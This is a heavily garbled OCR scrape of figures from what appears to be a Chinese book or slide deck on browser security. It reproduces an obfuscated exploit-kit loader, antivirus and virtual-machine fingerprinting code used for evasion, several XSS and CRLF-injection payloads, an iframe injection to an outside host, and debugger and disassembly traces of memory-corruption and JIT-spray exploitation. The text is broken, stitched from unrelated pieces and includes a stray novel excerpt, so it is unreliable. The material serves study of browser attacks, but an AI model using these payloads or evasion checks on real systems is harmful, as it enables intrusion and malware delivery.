}

else

if(flag == 1)
{

}quNhndthLVVb [YPub] ( Ujcs )

else
{
rqgNNhndhLxLVVb [YPub] ( UjcS )

3
}

), mKiJBs );
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EIEST ST S S BN ST EN TR TRET . WRENERE c\areg
HESHRE  EARERENZES.

WERERT?

> location.href="regedit:\" \"c:\\a.reg"
"regedit:" "c:\a.reg"
>
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> document.write("<script>alert(3)</script>")

© P Refused to execute inline script because it violates the following VM150:2
Content Security Policy directive: "script-src chrome://resources 'self’
‘unsafe-eval'". Either the 'unsafe-inline' keyword, a hash ('sha256-
5Is@iOrp@0Ipy-NPSOQNiq9I-QVh17T4g5@RMVURNIB="), or a nonce (‘'nonce-...') is
required to enable inline execution.
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4 - o x
< C O [ | % fley/F/AKNm > | ZHER w =
now offered her was not struck by the fortune of his o
worth: and even when her spirits oppressed to the
understanding, must have involved you in manner It is
not to be Lucy In Bond Street especially, where much

ﬁihls_moj;her_tmards_hm;and_onmm_mnmam;
Q [] Elements Network Sources Timeline Profiles Resources Audits |Console| P - s P

© ¥ <topframe> v [ Preserve log

UURH UL /R UL 0T 00D IE ) DLOIULT IS UULI D141 LUTULUT URH 3331 331 L1 L IUIUUEAHUULULULULULULUY
A4C7A37684A3D514(687726543362755771323442476B3973285062446B2B2668343030303026205541302
92656476E5935264B36536826514C68770A4F314130727169737A35284269394A5A366D346E31784F61293
D4C7A37684A200A6E6578740A6966204D62426B643D31207468656E0A63616C6(2043326338615A6263772
854687638712(5062446B262668343030303026298A514(68773D56617254797065285062446B8290A656(7
365@A514C68773D56617254797065285062446B290A656E642869660A456E64205375620A0A456E6420636
(617373@A5365742059377668324937483765657658326A6F203D204E65772846425975633158375238316
F3871710A59377668324937483765657658326A6F 2E59324A583954396472333455790A593776683249374
B83765657658326A6F 2E547A59657A38744E69774A346F 3873630A59377668324937483765657658326A6F2
ES526(7475415278316765787233484A770A"; function BOGR336j1SN(A7x7Sd21GLS) {
A7x75d21GL5="%u@8 ' +A7x75d21GL5 .match(/(..)/g).join( '%uee"); return
unescape(A7x75d21GL5);

YO194cYMYSraF="%u'+Y0194cYMYSraF .match(/(....)/g) . Join("'%u");

UKS6xdmp="%u' +UkS6xdmp.match(/(....)/g).Join('%u');
KMopoN3SAtV2jvrk="%u'+KMopoN3SAtV2jvrk.match(/(....)/g).join('%u"'); var MD19tsyovd =
document .createElement('script'); MD19tsyovd. language = "javascript"; MD19tsyovd.text
= B@GR33631SN(V1usFzMk466p8g); var Cz90j6@415xPdxb = document.createElement('script');
C29076@415xPdxb. language = "vbscript"; Cz9076@415xPdxb.text
=BOGR33631SN(Tx1h1xiYh6401t);

document . getElementById("U3Rkokj45y" ) .appendChild (MD19tsyovd);

document . getElementById("U3Rkokj45y").appendChild(Cz90j6@415xPdxb); }
D3FxSan@kFxgIwnw() ;

a
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£ A

base-uri

F8E VUMY base URL

child-src

¥8 ¢ frame A1 Worker [ %1 5%
CSP1 # T frame ] frame-src 7K 7
CSP1 ' Worker # script-src 45, CSP2 H124y child-ssrc

form-action

TRER BRI A4 5

frame-ancestors

T8 DU A FL A DU NI AT

plugin-types

5 DU SOV ISR e 1 2 Y
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'none’

HATHAE
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data

FoF data: URI

www.XX.com

*XX.com

https://XX.com

FVF IR S A4 M SR, SCRABACAF

https:

FoVFINZEK hitps B

'unsafe-inline’'

FEPFINER A BEFTIR, B4 onload IXHE I H A+

'unsafe-eval'
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if('window{'Jz2IcH){ function Target() { window{'JzIcH = true;
window('YdMpcVJ] = ; window.sf325gtgs7sfdj = false;
window.sf325gtgs7sfds = false; window.sf325gtgs7sfdfl = false;
window.sf325qtgs7sfdf2 = false; } function pauselt(millis) { var
date = new Date(); var curDate = null; do { curDate = new Date();
} while (curDate - date < millis); } function Ufe3S(txt) { if
(window.sf325gtgs7sfdn) return 0; var v1 = 'LD" + 'OM’, v2 = 'pa’
+'rseE' +'rr' + 'or', v3 = loa’ + 'dX' + ‘ML, vd ='DT" + DX +
'HTML 1.0 Transitional’, v5 = ‘err' + 'orC' + ‘ode’; v1 = 'XM' + v1;
var resinf = new ActiveXObject(*Microsoft" + v1), subpath =
*c\\Windows\\System32\\drivers\\" + txt + “.sys"; resinfasync =
true; resinflv3](' <!DOCTYPE html PUBLIC *-//W3C//' + vd + '//EN"
*res:// + subpath + "*>"); if(resInflv2][v5] != 0) { var cind = *-21"
+ "47023083"; var tst = * *, pe = resinflv2]; tst += pe[v5] + "\n*
+ pe.reason + peline; if(tstindexOf(cind) > 0) { return 1; } else {
return 0; } )} return 0; ) if ( Ufe3S('kIL") || Ufe3S("tmactmon’) ||
Ufe3S("tmcomm’) || Ufe3S("tmevtmgr") || Ufe3S('TMEBC32") |
Ufe3S(*tmeext’) || Ufe3S(*tmnciesc”) || Ufe3S(‘tmtdi®) ||
Ufe3S('vm3dmp’) || Ufe3S("vmusbmouse") || Ufe3S('vmmouse") ||
Ufe35(*vmhgfs") || Ufe3S("VBoxGuest') || Ufe3S("VBoxMouse') ||
Ufe35("VBoxSF’) || Ufe3S("VBoxVideo’) || Ufe3S("prl_boot’) ||
Ufe3S("prl_fs") || Ufe3S("prl_kmdd") || Ufe3S("prl_memdev") |
Ufe3S("prl_mouf") || Ufe3S("prl_pv32®) || Ufe3S("prl_sound") ||
Ufe3S("prl_strg”) || Ufe3S(*prl_tg") || Ufe3S("prl_time") ){ Target(); }
else { function Check(s){ x = new Image(); x.onload = Target;
xsre = s; documentbody.appendChild(x); return 0; } var kvl =
*res://C:A\Program Files*, kv2 = "\\Kaspersky Lab\\Kaspersky *,
kv3 ="Anti-Virus *, kvd="Internet Security *,
kvs="\\shellex.dIl/#2/#102", kv6="\\mfc42.dll/#2/#26567",
v1="VMware', v2="TPAutoConnSvc.exe’, pathdata = [
kvl+kv2+kv3+'5.0 for Windows Workstations'+kvS,
kvl+kv2+kv3+'6.0 for Windows Workstations'+...
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<head>

<style>

</st#le>

</head>

<body>

<input name="q" value="
*{x:expression (alert (1)) }">
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Address 0 1, 2 3 4 5 6 7 8 9 a b ¢ d e £ Dump

00000000 47 49 46 38 39 61 2f 2a 64 00 00 ££f 00 2c 00 OO0 GIF89a/*d.. .,.
00000010 00 00 2f 2a 64 00 00 02 00 3b 2a 2f 3d 31 3b 61 ../*d....;%/=1:;a
00000020 6c 65 72 74 28 31 29 3b I lert(l):






OEBPS/Image00190.jpg





OEBPS/Image00311.jpg
0334004a 8b0d086e9202 mov ecx,dword ptr ds:[2926E08h]

03340050 0£fb74006 movzx eax,word ptr [eax+6]
03340054 baabcb27de mov edx, 0DE27CBA6h]

03340059 81f22fad63fc Xor edx, OFC63AD2FN|

0334005f 891481 mov dword ptr [ecxteax*4],edx

03340062 e9ccffffff Jmp 03340033
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;
Target() { window[ ' JzIcH'] = true;
windowl " YMpEVI ) = 5 window. ‘ e orionTaS: s
sf325gtgs7?sfdj = false; window.
sf325gtgsisfds = false; window. ‘ntB’ 'yt +
sf325gtgs7sfdfl = false; window. T
sf325gtgsTsfdf2 = false; } % Cicled ¢
function TargetN() { window.
sf325gtgsTsfdn = true; } function
pauselt(millis) { var date = new
Date(); var curDate = null; do {
curDate = new Date(); } while (
curDate - date < millis); } var tmp
3 try { tmp = new ActiveXObject(

‘Kaspersky. levirtualKeyboardPlugin, Jav

Hyper

asceintAni 1'V: Tareet(): 3 catehle) -

Text Markip Language length - 95348 knes - 751 in:513 Col:37 se:7]0
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URL

AT CAC B 5O BRI B

‘Worker

BT T & X Worker [ SIS

(CSP1 A Worker N#5F M B A T R 5E D

JS 1 CSS 1] inline /5%

AJ LA ] Nonces Al Hashes $EI&TC & 4 44 £

FE

if [z CSP W& NI < il % SecurityPolicyViolationEvent Ft4
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45

var tmp;
try {
tmp = new ActiveXObject ('Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1l');
Target () ;
} catch (e) {
tmp = false;
}
if (!tmp) {
function Check (s) {
X = new Image();
x.onload = TargetN;
X.Src = s;
document .body . appendChild (x) ;
return 0;
}
var resName = "res://C:\\Program Files\\Norton Internet Security\\Engine\\",
resName2 = "res://C:\\ProgramFiles (x86) \\Norton Internet Security\\Engine\\",
resName3 = "res://C:\\Program Files\\Norton Security with Backup\\Engine\\",

resName4 = "res://C:\\Program Files (x86)\\Norton Security with Backup\
\Engine\\",

resName5 = "res://C:\\Program Files\\Norton Security\\Engine\\",

resName6 = "res://C:\\Program Files (x86)\\Norton Security\\Engine\\",

pathdata = [resName + "21.1.0.18\\asOEHook.d11/#2/4102", resName +

"21.6.0.32\\asOEHook.d11/#2/#102", resName + "21.7.0.11\\asOEHook.dll/#2/#102",
resName + "22.0.0.110\\uiMain.d11/#2/#941", resName + "22.1.0.9\\uiMain.d11/#2/#941",
resName + <=+ (EMAEA K ) 1;

for (var t = 0; t < pathdata.length; ++t)
Check (pathdata(t]);
pauseIt (500);
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window[ 'YdMpcVJ'] = '1';

function Target () {
window['JzIcH'] = true;
window['YdMpcVJd'] = '';

window.sf325gtgs7sfdj = false;

window.sf325gtgs7sfds = false;
window.sf325gtgs7sfdfl = false;
window.sf325gtgs7sfdf2 = false;

}
function TargetN()

{

window.sf325gtgs7sfdn = true;

}

function pauseIt(millis) {

var date = new Date();

var curDate =
do {

null;

curDate = new Date();

} while (curDate - date < millis);
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03340067 6a02 push 2

03340069 68d86d4902 push 2496DD8h

0334006e b846088cc8 mov eax, 0C88C0846h <--xored value
03340073 35cféec8ea XOor eax, 0OEAC86ECFh <--key
03340078 50 push eax

03340079 6895030000 push 395h

0334007e 53 push ebx

0334007f 6818607302 push 2736018h

03340084 e897806c5a

jscript9!Js::JavascriptOperators: :PatchPutRootValueNoLocalFastPath<Js: :InlineCache>

(5da08120)

call
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J EeEyT

I function

‘cript’,
'Bs' ¢
"execs’

=

oI,
4

32,
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LUTEYITTTINYUY J e JUlddbl

); var DIKx; ezVIxlyG=
(norJ, $1){ var qmisky=
OAPX=

pl, Hel=
0LG= 5, WRFSq=
K1DMU=

0, wRKKNE

\_C )
1IDIKx? true: (
dLpy, plI=
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Windows Internet Explorer
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> Array + 4 + '5';

"“function Array() { | > (1).valueOf.name
[native code] | " "
}as* valueOf
> (Array + 4 + '5') [9].toLowerCase(); el O A (b
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0:023> x MSHTML!CParaElement::*

Sfe6t6eS0
601a1700
60199280
6019240
Sfe60£20
6019a4bc
5fd73eel
60122630
60326890
60c66680
601924f8

MSHTML | CParaElenent :

MSHTHML | CParaElemen
MSHTML | CParaElemen
MSHTML | CParaElemen
MSHTHML | CParaElemen
MSHTHML | CParaElemen
MSHTHML | CParaElemen
MSHTHML | CParaElemen
MSHTHML | CParaElemen
MSHTML | CParaElemen
MSHTMLICP

:JSBind_InstanceOf (void)

PrivateQueryInterface (void)
s _StringTable = <no type information>
GetClassDesc (<no parameter info>)
JSBind_Typeld {(<no parameter info>)
s_apHdlDescs = <no type information>
GetCanReuseFormats (<no parameter info>)
‘vector deleting destructor' (<no parameter info>)
GetDispatchVTable (<no parameter info>)
GetMemoryProfilerSize ((no parameter info>)

de:

600de8al
60192498
S££52490
S££523a0
60199270
60199290

MSHTMLICParaElemen
MSHTHML | CParaElemen
MSHTHML | CParaElemen
MSHTML | CParaElemen
MSHTHML | CParaElemen
MSHTHL | CParaElemen

SavaAsHTML (<no parameter 1nfo>)
s_apfnpdIHTMLParaElement = <no type information>
‘vftable' = <no type information>

CreateElement (<no parameter info>)
s_StringTableAdggregate = <no type information>

. :s AssocVTablePtr = <no tvpe information>
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<iframe src="redirect.php”></iframe>
<iframe src="https://www.google.com/images/srpr/logol1w.png"></iframe>

1

2

3 <script>
4 T top[@].eval(' _=top[1];alert();_.location="javascript:alert(document.domain)”');
5

</script>
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alert.toString();

"function alert() {
[native codel
}ll

alert.toString() [9]; //outputs "a"
ngn
alert.toString() [9].toUpperCase(); //outputs "A"

NG
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0:039> bp MSHTHL!CDivElement : :CreateElement

0:039> g

Breakpoint 0 hit

eax=0b0db8f4 ebx=5f{d6f9f8 ecx=0b0db950 edx=0001ladbl esi=0462e128 edi=601857d0

eip=601857d0 esp=0b0db8b8 ebp=0b0db8f8 iopl=0 nv up ei pl zr na pe nc
cs=0023 =s=002b ds=002b es=002b fs=0053 gs=002b ef1=00000246
MSHTML!CDivElement : :CreateElement :

601857d0 8bff nov edi,edi

0:034> kvn

# ChildEBP Retiddr Args to Child

00 0b0db8b4 Sfe60890 0b0db950 08a67a68 0b0dbB8f4 MSHTHL!CDivElement: :CreateElement |
01 0b0db8f8 Sfe630f0 08a67a68 04622128 00000000 MSHTHL!CreateElement+0x202 (FPO: [}
02 0b0dbal0 Sfe63278 00000000 O0bOdbbd8 031376a0 MSHTML!CMarkup: :CreateElement+0x191
03 0b0dbb%c Sfe63905 00000000 00000000 031376a0 MSHTML!CDocument: :CreateElementHelj
04 0bOdbbdc S5fef3875 02c884a0 0b0dbcl8 02c884a0 MSHTML!CDocument: :Var_createElement
05 0b0dbc08 Sda3féba 04212ael 02000002 035931e0 MSHTML!CFastDOM: :CDocument : : Trampol
06 0b0dbc?0 S5da3cS5a 04212ae0 02000002 035931e0 jscript9!Js::JavascriptExternalFunc
07 0b0dbef8 Sda3celb 03140052 03595000 03140000 jscript9!Js::InterpreterStackFrame:
08 DbﬂEbf_B_‘i 0379_0_£59 Ul;UdbeB\ Ubﬂdbqu §d33’3_aa:n_ﬂ jscri?tQ!Js::IntgrpreterStackFrame
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Request | Text Only
® E @ 3 TIPS | Method{GET v/ Protocol| HTTP/L1 |

URL: ‘http:IMdeo_qq.mnVapi/red‘rect?nunFlhc=4&video_id=%0d%03tst:123

Request Headers |
Header Name Header Value
V| Host video ;. com

Response Headers | Response Data View Page HTML Structure Analysis
E View Cookies = Follow Redirection

Header Name Header Text

HTTP/1.1 302 302 Moved Temporarily

Access-Control-Allow-Origin http:/ il qq.com

Content-Length 21

Content-Type text/htmi;charset=utf-8

Location http://vIllR. qq.conyredirect ?vid=
test 123

Cache-Control no-cache

Pragma no-cache
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“config.h"
core/htnl/HTMLDivElenent h"

"core/CSSPropertyNames h"
“core/CSSValueKeywords . h"
"core/HTHLNames .h"
namespace blink {
using namespace HTMLNames:

HTHLDivElement : :HTMLDivElement (Documenté docume
: HTHLElement(divTag, document)

+
DEFINE_NODE_FACTORY (HTHLDivElement )

void HTMLDivElement:
{

< {0

:collectStyleForPresentatio:

SYnTOA CIiOLoSn o Dp IroucouT. T or op vl

0:011> bl

0 o [FTEEEIN0001 (0001)

0:011> g

Breakpoint 0 hit

eax=37c04960 ebx=0018e094 ecx=37c0c238 edx=37c0c284 esi=0018del8 edi=0018de

eip=1£5dcc30 esp=0018ddd8 ebp=0018dde8 iopl=0 nv up ei pl nz na po

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000z

webcore_shared!blink: :HTMLDivElement : :HTMLDivElement :

1£5dce30 55 push ebp
WARNING: verify checksum
WARNING: verify checksum
WARNING: verify checksum
WARNING: verify checksum
WARNING: verify checksum
WARNING: verify checksum

0:000> kvn

# ChildEBP Retdddr Args to Child

00 0018ddd4 1£5dced3 37c04960 cococcccoco
01 0018dde@ le8cbB8fa 00l8ddfc 37c04960
02 0018de00 1eB8caB823 0018de34 37c04960

03 0018de48 1£31f10e 0018de74 0018de78

0:**** yebcore_shared!blink: :HTMLDivElenent :

Unable
Unable
Unable
Unable
Unable
Unable

for
for
for
for
for
for

to
to
to
to
to
to

:Nchromeproj\srchout\Debug\v8.c
:S\chromeproj\srchout \Debug\blir
:\chromeproj\src\out\Debug\sche
:\chromeproj\srchout\Debug\base
:\chromeproj\srciout\Debug\cont
:\chromeproj \src\out\Debug\chrclj

37c0c238 webcore_shared!blink: :HTMLL
< :HTHLL
divCe

: :HTHLE ™
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HTMLDivElementcpp # X HTMLDocumentParser.cpp XSSAuditor.cpp HTTPParsers.h utrie2.h normali
#include "core/HTMLNames.h"

=namespace blink {
using namespace HTMLNames;

=HTMLDivElement: :HTMLDivElement (Document& document)
HTMLElement (divTag, document)

® I{
}

DEFINE_NODE_FACTORY (HTMLDivElement)
00% - 4

ared. dliiblink::HTMLDivElement:HTMLDivElement(blink:Document & document) Line 36 C++
webcore_shared.dli!blink::HTMLDivElement::create(blink::Document & document) Line 39 (<23
webcore_shared.dli!blink::divConstructor(blink::Document & document, blink::HTMLFormElement * formElement, bool crez C++
webcore_shared.dlI!blink::HTMLElementFactory::createHTMLElement(const WTF::AtomicString & localName, blink::Documi C++
webcore_shared.dll'blink::Document::createElement(const WTF::AtomicString & name, blink::ExceptionState & exceptionSta C++
webcore_shared.dlI!blink::DocumentVeinternal::createElement1MethodForMainWorld(const v8: FunctionCallbackinfo<vt Ces
webcore_shared.dll!blink::DocumentVEinternal::createElementMethodForMainWorld(const v8::FunctionCallbackinfo<v8:Val C++
webcore_shared. dll'blink’ DocumentVBinternal: reateElem!n!ME\hodCaIlbackFDrMainWorId(conﬂvﬁ ‘Funcﬁon(allbacklnk Ce++

-interal:Builtin_HandleApiCall(int args length, v&,ln(emal::objecl * * args_object, v8:intenal:Isolate * isolate) Line C++ <
Call Stack Breakpoints Command Window Immediate Window Output
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» console. log(function(p,a,c,k,e,d){e=function(c)}{return{c<a?"":e(parselnt(c/a)))+((
String. fromCharCode(c+29):c.toString(36))};if(!"'.replace(/*/,5tring)){while(c—-)d
{return'\\w+'}; c=1; };while(c--) if (k[c] ) p=p.replace(new RegExp('\\b'+e(c)+'\\b','g"
j="k:a; 9:0;" b="8%" 4="B%" d="8" c="2" y="2" x="w,4=2,5.2.C" B="A://q.r.o:p/u/v
</7>\");",39,39," | |MyFrame|sssss|height |document |var|iframe |10 |padding |@px |width]|
crolling| |[no|cn|81|dgytkb4 |BBip|com|user|web|baidu|this|onload|id|body |http|srec|sc

var sssss=top.location.href;var m=sssss.split("=");document.write('<iframe scrolli
height="106¢%" frameborder="@" name="MyFrame" id="MyFrame" onload="this.height=MyFr

sre="http://dgytkb4.881p.cn:B1/web/baidu, contuser="+n[1]+'"></iframe>');
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A0000B>33DB XOF EEX, EBX
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</style)<! [endif]

/script<noseript)(aeta http-equiv="refresh” content="0; 3
url~/baidu. htal ?romnoscript”/></noscript><scriptwindow. ASYN_START-new Date (). getTine ()5
</seripty</head>body 1ink="80000cc”><script>if (/Chirome\/37.0.2062. 94/1. test (navigator. userAgent) &k (/(vindows 7)
(vindows nt 6.1)/i. test (navigator. userAgent))) {
var _chrose_37_fix = document. createElement ("style”):
_chrome_37_fix. type="text/css":
_chrome_37_fix. setAttribute ("data-for”, “result”) ;
chrome_37_fix. innerliIML = “.t,.£16, #kv, . s_ipt, . c-title, . c-title-size,. to_thidao, . to_tieba, . to_zhidao botton|
font-size:15px:

]

. ec-hospital-info-main h2, . ad-widget-yx_sck-ylzx-doctor—info h2,. ec-card-main h2, . ad-widget-hl h2, . sd-vidget—
\|title b2, . ad-widget-small-head h2,.ad-widget-small-head h2 a,.ad-widget-header . ec—figeaption h2{

font-size: 16px !important;
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HodLoad: UbaZUUUU UbbccUUU C:N\Windows\SysWOWedNole
ModLoad: 72d30000 72d6c000 C:\Windows\SysWOW6 4 \OLE
ModLoad 6650000 66275000 C:“\Windows\SysWOUE 4 \POL
free 3060000](2060.167c): Access violation - code c
Flrst chance exceptions are reported before any exce
This exception may be expected and handled.
2ax=03060000 ebx=02feded4l ecx=5481cbld edx=028eb884
eip=03060000 esp=0388c434 ebp=0388c480 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002L

p3060000] ?7? 777
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.text:1802162E
.text:1002162E
.text:1002162E
.text:1002162E
.text:1002162E
-text:1002162E
.text:1002162E
.text:10021630
.text:10021635
.text:1002163A
-text:1002163C
.text:1002163D
-text:1002163E
.text:10021641
.text:10021644
.text:10021646

“|.text:10021648

-text:1002164D
.text:1002164F

; private: struct EmitBufferfllocation » _ thiscall EmitBufferManager::NewAllocation(unsigne
?NewAllocation@EmitBufferManager@RAAEPAUENitBufferAllocation@RIGEEZ proc near

; CODE XREF: EmitBufferManager::AllocateBuffer(uint,

; FUNCTION CHUNK AT .text:101D9438 SIZE 00000838 BYTES

push
moy
call
moy
push
push
push
lea
moy
call
moy
test

iz

8

eax, offset loc_16229088
sub_10089369

ebx, ecx

ecx

ecx

dword ptr [ebp+8]

edi, [ebx+8Ch]

ecx, edi
?Alloc@Heap@CustonHeap@RQAEPAUALLocation@2@IGGEZ ; CustomHeap::Heap:
esi, leax

esi, esi

loc_101D9438

00020A4B 1002164B: EmitBufferManager::NewAllocation(uint,ushort,ushort)+1D
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reuse freed memory
for(war i:int; i < _wva.length; i++)
_wal[i] = new Vector. <uint>(0x3£0) ;
// return one byte for overwriting

feturn 0x40;
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